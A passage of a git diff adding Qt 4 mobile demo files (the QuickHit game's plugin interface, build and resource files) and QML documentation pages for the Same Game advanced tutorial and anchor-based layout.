+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/rocket.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/LevelTwo/sound/rocket_explosion.wav b/demos/mobile/quickhit/plugins/LevelTwo/sound/rocket_explosion.wav
new file mode 100644
index 00000000..d2b451cc
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/LevelTwo/sound/rocket_explosion.wav
Binary files differ
diff --git a/demos/mobile/quickhit/plugins/levelplugininterface.h b/demos/mobile/quickhit/plugins/levelplugininterface.h
new file mode 100644
index 00000000..f3fc7bf9
--- /dev/null
+++ b/demos/mobile/quickhit/plugins/levelplugininterface.h
@@ -0,0 +1,86 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef LEVELPLUGININTERFACE_H
+#define LEVELPLUGININTERFACE_H
+
+#include <QObject>
+#include <QVariant>
+
+class LevelPluginInterface : public QObject
+{
+public:
+ // Full paths to level sounds
+ virtual QStringList levelSounds() = 0;
+
+ // Generic key/value data
+ virtual QVariant getData(QVariant key) = 0;
+
+ // Request picture size
+ virtual QVariant graphSize(QVariant pathToGraph) = 0;
+
+ // Enemy count in the level
+ virtual QVariant enemyCount() = 0;
+ // Enemy row count in the level
+ virtual QVariant enemyRowCount() = 0;
+ // Enemy speed
+ virtual QVariant enemySpeed() = 0;
+ // Enemy fire speed
+ virtual QVariant enemyFireSpeed() = 0;
+
+ // QML root path
+ virtual QVariant qmlRootPath() = 0;
+ // Picture root path
+ virtual QVariant pictureRootPath() = 0;
+
+ // Paths for GameEngine and QuickHit internal QML files
+ virtual QVariant pathToTransparentEnemyPic() = 0;
+ virtual QVariant pathToMissilePic() = 0;
+ virtual QVariant pathToEnemyMissilePic() = 0;
+ virtual QVariant pathToMyShipPic() = 0;
+};
+
+// This Qt macro associates the given Identifier "Forum.Nokia.com.QuickHit.LevelPluginInterface/1.0"
+// to the interface class called LevelPluginInterface. The Identifier must be unique.
+Q_DECLARE_INTERFACE(LevelPluginInterface,
+ "Forum.Nokia.com.QuickHit.LevelPluginInterface/1.0");
+
+
+#endif // LEVELPLUGININTERFACE_H
diff --git a/demos/mobile/quickhit/quickhit.png b/demos/mobile/quickhit/quickhit.png
new file mode 100644
index 00000000..01d2d609
--- /dev/null
+++ b/demos/mobile/quickhit/quickhit.png
Binary files differ
diff --git a/demos/mobile/quickhit/quickhit.pro b/demos/mobile/quickhit/quickhit.pro
new file mode 100644
index 00000000..44bf09b6
--- /dev/null
+++ b/demos/mobile/quickhit/quickhit.pro
@@ -0,0 +1,88 @@
+QT += core gui declarative opengl
+
+VERSION = 1.1.1
+
+TARGET = quickhit
+TEMPLATE = app
+
+SOURCES += main.cpp \
+ mainwindow.cpp \
+ gameengine.cpp \
+ InvSounds.cpp \
+ myeventfilter.cpp \
+ ga_src/GEAudioBuffer.cpp \
+ ga_src/GEAudioOut.cpp \
+ ga_src/GEInterfaces.cpp
+
+HEADERS += mainwindow.h \
+ gameengine.h \
+ myeventfilter.h \
+ plugins/levelplugininterface.h \
+ InvSounds.h \
+ ga_src/GEAudioBuffer.h \
+ ga_src/GEAudioOut.h \
+ ga_src/GEInterfaces.h
+
+RESOURCES += resources.qrc
+
+# QtMultimedia from Qt
+QT += multimedia
+
+symbian {
+ # in Symbian 1 we do not have OpenGL available
+ contains(SYMBIAN_VERSION, 9.4) {
+ DEFINES += QT_NO_OPENGL
+ QT -= opengl
+ warning("No OpenGL support")
+ }
+
+ CONFIG += mobility
+ MOBILITY = systeminfo
+ TARGET = QuickHit
+ TARGET.UID3 = 0xe7ced714
+
+ TARGET.CAPABILITY = NetworkServices \
+ Location \
+ ReadUserData \
+ WriteUserData \
+ LocalServices \
+ UserEnvironment
+
+ LIBS += -lcone -leikcore -lavkon -lhwrmvibraclient
+
+ ICON = icon.svg
+
+ TARGET.EPOCSTACKSIZE = 0x14000
+ TARGET.EPOCHEAPSIZE = 0x100000 0x2000000
+}
+
+maemo5 {
+ CONFIG += mobility
+ MOBILITY = systeminfo
+
+ BINDIR = /opt/usr/bin
+ DATADIR = /usr/share
+ DEFINES += DATADIR=\\\"$$DATADIR\\\" \
+ PKGDATADIR=\\\"$$PKGDATADIR\\\"
+
+ INSTALLS += target \
+ desktop \
+ icon64
+
+ target.path = $$BINDIR
+ desktop.path = $$DATADIR/applications/hildon
+ desktop.files += quickhit.desktop
+
+ icon64.path = $$DATADIR/icons/hicolor/64x64/apps
+ icon64.files += quickhit.png
+}
+
+OTHER_FILES += \
+ Game.qml \
+ Game.js \
+ MyShip.qml \
+ Missile.qml \
+ Menu.qml \
+ MenuItem.qml \
+ Button.qml \
+ Message.qml
diff --git a/demos/mobile/quickhit/resources.qrc b/demos/mobile/quickhit/resources.qrc
new file mode 100644
index 00000000..8063bf7a
--- /dev/null
+++ b/demos/mobile/quickhit/resources.qrc
@@ -0,0 +1,25 @@
+<RCC>
+ <qresource prefix="/">
+ <file>Game.qml</file>
+ <file>Game.js</file>
+ <file>MyShip.qml</file>
+ <file>Missile.qml</file>
+ <file>Menu.qml</file>
+ <file>MenuItem.qml</file>
+ <file>Button.qml</file>
+ <file>Message.qml</file>
+ <file>gfx/back.png</file>
+ <file>gfx/exit.png</file>
+ <file>gfx/pause.png</file>
+ <file>gfx/soundOn.png</file>
+ <file>gfx/soundOff.png</file>
+ <file>gfx/background2.png</file>
+ <file>gfx/bigship.png</file>
+ <file>gfx/quickhit_logo.png</file>
+ <file>sound/menu1.wav</file>
+ <file>sound/menu2.wav</file>
+ <file>sound/gamestart.wav</file>
+ <file>sound/youwin.wav</file>
+ <file>sound/gameover.wav</file>
+ </qresource>
+</RCC>
diff --git a/demos/mobile/quickhit/sound/gameover.wav b/demos/mobile/quickhit/sound/gameover.wav
new file mode 100644
index 00000000..e5b9e94d
--- /dev/null
+++ b/demos/mobile/quickhit/sound/gameover.wav
Binary files differ
diff --git a/demos/mobile/quickhit/sound/gamestart.wav b/demos/mobile/quickhit/sound/gamestart.wav
new file mode 100644
index 00000000..8632fca3
--- /dev/null
+++ b/demos/mobile/quickhit/sound/gamestart.wav
Binary files differ
diff --git a/demos/mobile/quickhit/sound/menu1.wav b/demos/mobile/quickhit/sound/menu1.wav
new file mode 100644
index 00000000..586ab2cb
--- /dev/null
+++ b/demos/mobile/quickhit/sound/menu1.wav
Binary files differ
diff --git a/demos/mobile/quickhit/sound/menu2.wav b/demos/mobile/quickhit/sound/menu2.wav
new file mode 100644
index 00000000..70a61c11
--- /dev/null
+++ b/demos/mobile/quickhit/sound/menu2.wav
Binary files differ
diff --git a/demos/mobile/quickhit/sound/youwin.wav b/demos/mobile/quickhit/sound/youwin.wav
new file mode 100644
index 00000000..f48297dd
--- /dev/null
+++ b/demos/mobile/quickhit/sound/youwin.wav
Binary files differ
diff --git a/demos/symbianpkgrules.pri b/demos/symbianpkgrules.pri
new file mode 100644
index 00000000..ef6dfd84
--- /dev/null
+++ b/demos/symbianpkgrules.pri
@@ -0,0 +1,19 @@
+!symbian: error(Only include this file for Symbian platforms)
+
+RSS_RULES ="group_name=\"QtDemos\";"
+
+nokiaVendor = "Nokia, Qt"
+vendorinfo = \
+ "; Localised Vendor name" \
+ "%{$$addLanguageDependentPkgItem(nokiaVendor)}" \
+ " " \
+ "; Unique Vendor name" \
+ ":\"$$nokiaVendor\"" \
+ " "
+
+demos_deployment.pkg_prerules += vendorinfo
+DEPLOYMENT += demos_deployment
+
+isEmpty(ICON):contains(TEMPLATE, ".*app"):contains(QT, gui):contains(CONFIG, qt):!contains(CONFIG, "no_icon") {
+ ICON = $$QT_SOURCE_TREE/src/s60installs/qt.svg
+}
diff --git a/doc/src/declarative/advtutorial.qdoc b/doc/src/declarative/advtutorial.qdoc
new file mode 100644
index 00000000..c49566c4
--- /dev/null
+++ b/doc/src/declarative/advtutorial.qdoc
@@ -0,0 +1,465 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-advtutorial.html
+\title QML Advanced Tutorial
+\brief A more advanced tutorial, showing how to use QML to create a game.
+\nextpage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
+
+This tutorial walks step-by-step through the creation of a full application using QML.
+It assumes that you already know the basics of QML (for example, from reading the
+\l{QML Tutorial}{simple tutorial}).
+
+In this tutorial we write a game, \e {Same Game}, based on the Same Game application
+included in the declarative \c demos directory, which looks like this:
+
+\image declarative-samegame.png
+
+We will cover concepts for producing a fully functioning application, including
+JavaScript integration, using QML \l{State}{States} and \l{Behavior}{Behaviors} to
+manage components and enhance your interface, and storing persistent application data.
+
+An understanding of JavaScript is helpful to understand parts of this tutorial, but if you don't
+know JavaScript you can still get a feel for how you can integrate backend logic to create and
+control QML elements.
+
+
+Tutorial chapters:
+
+\list 1
+\o \l {declarative/tutorials/samegame/samegame1}{Creating the Game Canvas and Blocks}
+\o \l {declarative/tutorials/samegame/samegame2}{Populating the Game Canvas}
+\o \l {declarative/tutorials/samegame/samegame3}{Implementing the Game Logic}
+\o \l {declarative/tutorials/samegame/samegame4}{Finishing Touches}
+\endlist
+
+All the code in this tutorial can be found in Qt's \c examples/declarative/tutorials/samegame
+directory.
+*/
+
+/*!
+\page qml-advtutorial1.html
+\title QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial
+\nextpage QML Advanced Tutorial 2 - Populating the Game Canvas
+
+\example declarative/tutorials/samegame/samegame1
+
+\section2 Creating the application screen
+
+The first step is to create the basic QML items in your application.
+
+To begin with, we create our Same Game application with a main screen like this:
+
+\image declarative-adv-tutorial1.png
+
+This is defined by the main application file, \c samegame.qml, which looks like this:
+
+\snippet declarative/tutorials/samegame/samegame1/samegame.qml 0
+
+This gives you a basic game window that includes the main canvas for the
+blocks, a "New Game" button and a score display.
+
+One item you may not recognize here
+is the \l SystemPalette item. This provides access to the Qt system palette
+and is used to give the button a more native look-and-feel.
+
+Notice the anchors for the \c Item, \c Button and \c Text elements are set using
+\l {qdeclarativeintroduction.html#dot-properties}{group notation} for readability.
+
+\section2 Adding \c Button and \c Block components
+
+The \c Button item in the code above is defined in a separate component file named \c Button.qml.
+To create a functional button, we use the QML elements \l Text and \l MouseArea inside a \l Rectangle.
+Here is the \c Button.qml code:
+
+\snippet declarative/tutorials/samegame/samegame1/Button.qml 0
+
+This essentially defines a rectangle that contains text and can be clicked. The \l MouseArea
+has an \c onClicked() handler that is implemented to emit the \c clicked() signal of the
+\c container when the area is clicked.
+
+In Same Game, the screen is filled with small blocks when the game begins.
+Each block is just an item that contains an image. The block
+code is defined in a separate \c Block.qml file:
+
+\snippet declarative/tutorials/samegame/samegame1/Block.qml 0
+
+At the moment, the block doesn't do anything; it is just an image. As the
+tutorial progresses we will animate and give behaviors to the blocks.
+We have not added any code yet to create the blocks; we will do this
+in the next chapter.
+
+We have set the image to be the size of its parent Item using \c {anchors.fill: parent}.
+This means that when we dynamically create and resize the block items
+later on in the tutorial, the image will be scaled automatically to the
+correct size.
+
+Notice the relative path for the Image element's \c source property.
+This path is relative to the location of the file that contains the \l Image element.
+Alternatively, you could set the Image source to an absolute file path or a URL
+that contains an image.
+
+You should be familiar with the code so far. We have just created some basic
+elements to get started. Next, we will populate the game canvas with some blocks.
+*/
+
+
+/*!
+\page qml-advtutorial2.html
+\title QML Advanced Tutorial 2 - Populating the Game Canvas
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial 1 - Creating the Game Canvas and Blocks
+\nextpage QML Advanced Tutorial 3 - Implementing the Game Logic
+
+\example declarative/tutorials/samegame/samegame2
+
+\section2 Generating the blocks in JavaScript
+
+Now that we've written some basic elements, let's start writing the game.
+
+The first task is to generate the game blocks. Each time the New Game button
+is clicked, the game canvas is populated with a new, random set of
+blocks. Since we need to dynamically generate new blocks for each new game,
+we cannot use \l Repeater to define the blocks. Instead, we will
+create the blocks in JavaScript.
+
+Here is the JavaScript code for generating the blocks, contained in a new
+file, \c samegame.js. The code is explained below.
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.js 0
+
+The \c startNewGame() function deletes the blocks created in the previous game and
+calculates the number of rows and columns of blocks required to fill the game window for the new game.
+Then, it creates an array to store all the game
+blocks, and calls \c createBlock() to create enough blocks to fill the game window.
+
+The \c createBlock() function creates a block from the \c Block.qml file
+and moves the new block to its position on the game canvas. This involves several steps:
+
+\list
+
+\o \l {QML:Qt::createComponent()}{Qt.createComponent()} is called to
+ generate an element from \c Block.qml. If the component is ready,
+ we can call \c createObject() to create an instance of the \c Block
+ item.
+
+\o If \c createObject() returned null (i.e. if there was an error
+ while loading the object), print the error information.
+
+\o Place the block in its position on the board and set its width and
+ height. Also, store it in the blocks array for future reference.
+
+\o Finally, print error information to the console if the component
+ could not be loaded for some reason (for example, if the file is
+ missing).
+
+\endlist
+
+
+\section2 Connecting JavaScript components to QML
+
+Now we need to call the JavaScript code in \c samegame.js from our QML files.
+To do this, we add this line to \c samegame.qml which imports
+the JavaScript file as a \l{Modules#QML Modules}{module}:
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.qml 2
+
+This allows us to refer to any functions within \c samegame.js using "SameGame"
+as a prefix: for example, \c SameGame.startNewGame() or \c SameGame.createBlock().
+This means we can now connect the New Game button's \c onClicked handler to the \c startNewGame()
+function, like this:
+
+\snippet declarative/tutorials/samegame/samegame2/samegame.qml 1
+
+So, when you click the New Game button, \c startNewGame() is called and generates a field of blocks, like this:
+
+\image declarative-adv-tutorial2.png
+
+Now, we have a screen of blocks, and we can begin to add the game mechanics.
+
+*/
+
+/*!
+\page qml-advtutorial3.html
+\title QML Advanced Tutorial 3 - Implementing the Game Logic
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial 2 - Populating the Game Canvas
+\nextpage QML Advanced Tutorial 4 - Finishing Touches
+
+\example declarative/tutorials/samegame/samegame3
+
+\section2 Making a playable game
+
+Now that we have all the game components, we can add the game logic that
+dictates how a player interacts with the blocks and plays the game
+until it is won or lost.
+
+To do this, we have added the following functions to \c samegame.js:
+
+\list
+\o \c{handleClick(x,y)}
+\o \c{floodFill(xIdx,yIdx,type)}
+\o \c{shuffleDown()}
+\o \c{victoryCheck()}
+\o \c{floodMoveCheck(xIdx, yIdx, type)}
+\endlist
+
+As this is a tutorial about QML, not game design, we will only discuss \c handleClick() and \c victoryCheck() below since they interface directly with the QML elements. Note that although the game logic here is written in JavaScript, it could have been written in C++ and then exposed to QML.
+
+\section3 Enabling mouse click interaction
+
+To make it easier for the JavaScript code to interface with the QML elements, we have added an Item called \c gameCanvas to \c samegame.qml. It replaces the background as the item which contains the blocks. It also accepts mouse input from the user. Here is the item code:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 1
+
+The \c gameCanvas item is the exact size of the board, and has a \c score property and a \l MouseArea to handle mouse clicks.
+The blocks are now created as its children, and its dimensions are used to determine the board size so that
+the application scales to the available screen size.
+Since its size is bound to a multiple of \c blockSize, \c blockSize was moved out of \c samegame.js and into \c samegame.qml as a QML property.
+Note that it can still be accessed from the script.
+
+When clicked, the \l MouseArea calls \c{handleClick()} in \c samegame.js, which determines whether the player's click should cause any blocks to be removed, and updates \c gameCanvas.score with the current score if necessary. Here is the \c handleClick() function:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.js 1
+
+Note that if \c score was a global variable in the \c{samegame.js} file you would not be able to bind to it. You can only bind to QML properties.
+
+\section3 Updating the score
+
+When the player clicks a block and triggers \c handleClick(), \c handleClick() also calls \c victoryCheck() to update the score and to check whether the player has completed the game. Here is the \c victoryCheck() code:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.js 2
+
+This updates the \c gameCanvas.score value and displays a "Game Over" dialog if the game is finished.
+
+The Game Over dialog is created using a \c Dialog element that is defined in \c Dialog.qml. Here is the \c Dialog.qml code. Notice how it is designed to be usable imperatively from the script file, via the functions and signals:
+
+\snippet declarative/tutorials/samegame/samegame3/Dialog.qml 0
+
+And this is how it is used in the main \c samegame.qml file:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 2
+
+We give the dialog a \l {Item::z}{z} value of 100 to ensure it is displayed on top of our other components. The default \c z value for an item is 0.
+
+
+\section3 A dash of color
+
+It's not much fun to play Same Game if all the blocks are the same color, so we've modified the \c createBlock() function in \c samegame.js to randomly create a different type of block (for either red, green or blue) each time it is called. \c Block.qml has also changed so that each block contains a different image depending on its type:
+
+\snippet declarative/tutorials/samegame/samegame3/Block.qml 0
+
+
+\section2 A working game
+
+Now we now have a working game! The blocks can be clicked, the player can score, and the game can end (and then you can start a new one).
+Here is a screenshot of what has been accomplished so far:
+
+\image declarative-adv-tutorial3.png
+
+This is what \c samegame.qml looks like now:
+
+\snippet declarative/tutorials/samegame/samegame3/samegame.qml 0
+
+The game works, but it's a little boring right now. Where are the smooth animated transitions? Where are the high scores?
+If you were a QML expert you could have written these in the first iteration, but in this tutorial they've been saved
+until the next chapter - where your application becomes alive!
+
+*/
+
+/*!
+\page qml-advtutorial4.html
+\title QML Advanced Tutorial 4 - Finishing Touches
+\contentspage QML Advanced Tutorial
+\previouspage QML Advanced Tutorial 3 - Implementing the Game Logic
+
+\example declarative/tutorials/samegame/samegame4
+
+\section2 Adding some flair
+
+Now we're going to do two things to liven up the game: animate the blocks and add a High Score system.
+
+We've also cleaned up the directory structure for our application files. We now have a lot of files, so all the
+JavaScript and QML files outside of \c samegame.qml have been moved into a new sub-directory named "content".
+
+In anticipation of the new block animations, \c Block.qml file is now renamed to \c BoomBlock.qml.
+
+\section3 Animating block movement
+
+First we will animate the blocks so that they move in a fluid manner. QML has a number of methods for adding fluid
+movement, and in this case we're going to use the \l Behavior element to add a \l SpringAnimation.
+In \c BoomBlock.qml, we apply a \l SpringAnimation behavior to the \c x and \c y properties so that the
+block will follow and animate its movement in a spring-like fashion towards the specified position (whose
+values will be set by \c samegame.js).Here is the code added to \c BoomBlock.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 1
+
+The \c spring and \c damping values can be changed to modify the spring-like effect of the animation.
+
+The \c {enabled: spawned} setting refers to the \c spawned value that is set from \c createBlock() in \c samegame.js.
+This ensures the \l SpringAnimation on the \c x is only enabled after \c createBlock() has set the block to
+the correct position. Otherwise, the blocks will slide out of the corner (0,0) when a game begins, instead of falling
+from the top in rows. (Try commenting out \c {enabled: spawned} and see for yourself.)
+
+\section3 Animating block opacity changes
+
+Next, we will add a smooth exit animation. For this, we'll use a \l Behavior element, which allows us to specify
+a default animation when a property change occurs. In this case, when the \c opacity of a Block changes, we will
+animate the opacity value so that it gradually fades in and out, instead of abruptly changing between fully
+visible and invisible. To do this, we'll apply a \l Behavior on the \c opacity property of the \c Image
+element in \c BoomBlock.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 2
+
+Note the \c{opacity: 0} which means the block is transparent when it is first created. We could set the opacity
+in \c samegame.js when we create and destroy the blocks,
+but instead we'll use \l{QML States}{states}, since this is useful for the next animation we're going to add.
+Initially, we add these States to the root element of \c{BoomBlock.qml}:
+\code
+ property bool dying: false
+ states: [
+ State{ name: "AliveState"; when: spawned == true && dying == false
+ PropertyChanges { target: img; opacity: 1 }
+ },
+ State{ name: "DeathState"; when: dying == true
+ PropertyChanges { target: img; opacity: 0 }
+ }
+ ]
+\endcode
+
+Now blocks will automatically fade in, as we already set \c spawned to true when we implemented the block animations.
+To fade out, we set \c dying to true instead of setting opacity to 0 when a block is destroyed (in the \c floodFill() function).
+
+\section3 Adding particle effects
+
+Finally, we'll add a cool-looking particle effect to the blocks when they are destroyed. To do this, we first add a \l Particles element in
+\c BoomBlock.qml, like so:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 3
+
+To fully understand this you should read the \l Particles documentation, but it's important to note that \c emissionRate is set
+to zero so that particles are not emitted normally.
+Also, we extend the \c dying State, which creates a burst of particles by calling the \c burst() method on the particles element. The code for the states now look
+like this:
+
+\snippet declarative/tutorials/samegame/samegame4/content/BoomBlock.qml 4
+
+Now the game is beautifully animated, with subtle (or not-so-subtle) animations added for all of the
+player's actions. The end result is shown below, with a different set of images to demonstrate basic theming:
+
+\image declarative-adv-tutorial4.gif
+
+The theme change here is produced simply by replacing the block images. This can be done at runtime by changing the \l Image \c source property, so for a further challenge, you could add a button that toggles between themes with different images.
+
+\section2 Keeping a High Scores table
+
+Another feature we might want to add to the game is a method of storing and retrieving high scores.
+
+To do this, we will show a dialog when the game is over to request the player's name and add it to a High Scores table.
+This requires a few changes to \c Dialog.qml. In addition to a \c Text element, it now has a
+\c TextInput child item for receiving keyboard text input:
+
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 2
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3
+
+We'll also add a \c showWithInput() function. The text input will only be visible if this function
+is called instead of \c show(). When the dialog is closed, it emits a \c closed() signal, and
+other elements can retrieve the text entered by the user through an \c inputText property:
+
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 0
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 1
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/Dialog.qml 3
+
+Now the dialog can be used in \c samegame.qml:
+
+\snippet declarative/tutorials/samegame/samegame4/samegame.qml 0
+
+When the dialog emits the \c closed signal, we call the new \c saveHighScore() function in \c samegame.js, which stores the high score locally in an SQL database and also send the score to an online database if possible.
+
+The \c nameInputDialog is activated in the \c victoryCheck() function in \c samegame.js:
+
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 3
+\dots 4
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 4
+
+\section3 Storing high scores offline
+
+Now we need to implement the functionality to actually save the High Scores table.
+
+Here is the \c saveHighScore() function in \c samegame.js:
+
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 2
+
+First we call \c sendHighScore() (explained in the section below) if it is possible to send the high scores to an online database.
+
+Then, we use the \l{Offline Storage API} to maintain a persistent SQL database unique to this application. We create an offline storage database for the high scores using \c openDatabase() and prepare the data and SQL query that we want to use to save it. The offline storage API uses SQL queries for data manipulation and retrieval, and in the \c db.transaction() call we use three SQL queries to initialize the database (if necessary), and then add to and retrieve high scores. To use the returned data, we turn it into a string with one line per row returned, and show a dialog containing that string.
+
+This is one way of storing and displaying high scores locally, but certainly not the only way. A more complex alternative would be to create a high score dialog component, and pass it the results for processing and display (instead of reusing the \c Dialog). This would allow a more themeable dialog that could better present the high scores. If your QML is the UI for a C++ application, you could also have passed the score to a C++ function to store it locally in a variety of ways, including a simple format without SQL or in another SQL database.
+
+\section3 Storing high scores online
+
+You've seen how you can store high scores locally, but it is also easy to integrate a web-enabled high score storage into your QML application. The implementation we've done her is very
+simple: the high score data is posted to a php script running on a server somewhere, and that server then stores it and
+displays it to visitors. You could also request an XML or QML file from that same server, which contains and displays the scores,
+but that's beyond the scope of this tutorial. The php script we use here is available in the \c examples directory.
+
+If the player entered their name we can send the data to the web service us
+
+If the player enters a name, we send the data to the service using this code in \c samegame.js:
+
+\snippet declarative/tutorials/samegame/samegame4/content/samegame.js 1
+
+The \l XMLHttpRequest in this code is the same as the \c XMLHttpRequest() as you'll find in standard browser JavaScript, and can be used in the same way to dynamically get XML
+or QML from the web service to display the high scores. We don't worry about the response in this case - we just post the high
+score data to the web server. If it had returned a QML file (or a URL to a QML file) you could instantiate it in much the same
+way as you did with the blocks.
+
+An alternate way to access and submit web-based data would be to use QML elements designed for this purpose. XmlListModel
+makes it very easy to fetch and display XML based data such as RSS in a QML application (see the Flickr demo for an example).
+
+
+\section2 That's it!
+
+By following this tutorial you've seen how you can write a fully functional application in QML:
+
+\list
+\o Build your application with \l {{QML Elements}}{QML elements}
+\o Add application logic \l{Integrating JavaScript}{with JavaScript code}
+\o Add animations with \l {Behavior}{Behaviors} and \l{QML States}{states}
+\o Store persistent application data using, for example, the \l{Offline Storage API} or \l XMLHttpRequest
+\endlist
+
+There is so much more to learn about QML that we haven't been able to cover in this tutorial. Check out all the
+demos and examples and the \l {Qt Quick}{documentation} to see all the things you can do with QML!
+*/
diff --git a/doc/src/declarative/anchor-layout.qdoc b/doc/src/declarative/anchor-layout.qdoc
new file mode 100644
index 00000000..9fb657ae
--- /dev/null
+++ b/doc/src/declarative/anchor-layout.qdoc
@@ -0,0 +1,147 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-anchor-layout.html
+\target anchor-layout
+\contentspage QML Features
+\previouspage {Using QML Positioner and Repeater Items}{Component Layouts}
+\nextpage {QML Mouse Events}{Mouse Events}
+\title Anchor-based Layout in QML
+
+In addition to the more traditional \l Grid, \l Row, and \l Column,
+QML also provides a way to layout items using the concept of \e anchors.
+Each item can be thought of as having a set of 7 invisible "anchor lines":
+\l {Item::anchors.left}{left}, \l {Item::anchors.horizontalCenter}{horizontalCenter},
+\l {Item::anchors.right}{right}, \l {Item::anchors.top}{top},
+\l {Item::anchors.verticalCenter}{verticalCenter}, \l {Item::anchors.baseline}{baseline},
+and \l {Item::anchors.bottom}{bottom}.
+
+\image edges_qml.png
+
+The baseline (not pictured above) corresponds to the imaginary line on which
+text would sit. For items with no text it is the same as \e top.
+
+The QML anchoring system allows you to define relationships between the anchor lines of different items. For example, you can write:
+
+\code
+Rectangle { id: rect1; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; ... }
+\endcode
+
+Each Item has two properties for each anchor line: one to bind from and one to bind to. The properties to bind
+from are contained in the \l{Item::}{anchors} attached property (seen as \c {anchors.left} above).
+The properties to bind to are normal properties (seen as \c {rect1.right} above).
+This way, each item can have several bindings to the same anchor line. Note that the properties to bind to are
+not visible in the documentation for Item.
+So in the example above, the left edge of \e rect2 is bound to the right edge of \e rect1, producing the following:
+
+\image edge1.png
+
+
+You can specify multiple anchors. For example:
+
+\code
+Rectangle { id: rect1; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; anchors.top: rect1.bottom; ... }
+\endcode
+
+\image edge3.png
+
+By specifying multiple horizontal or vertical anchors you can control the size of an item. Below,
+\e rect2 is anchored to the right of \e rect1 and the left of \e rect3. If either of the blue
+rectangles are moved, \e rect2 will stretch and shrink as necessary:
+
+\code
+Rectangle { id: rect1; x: 0; ... }
+Rectangle { id: rect2; anchors.left: rect1.right; anchors.right: rect3.left; ... }
+Rectangle { id: rect3; x: 150; ... }
+\endcode
+
+\image edge4.png
+
+There are also some convenience anchors. anchors.fill is a convenience that is the same as setting the left,right,top and bottom anchors
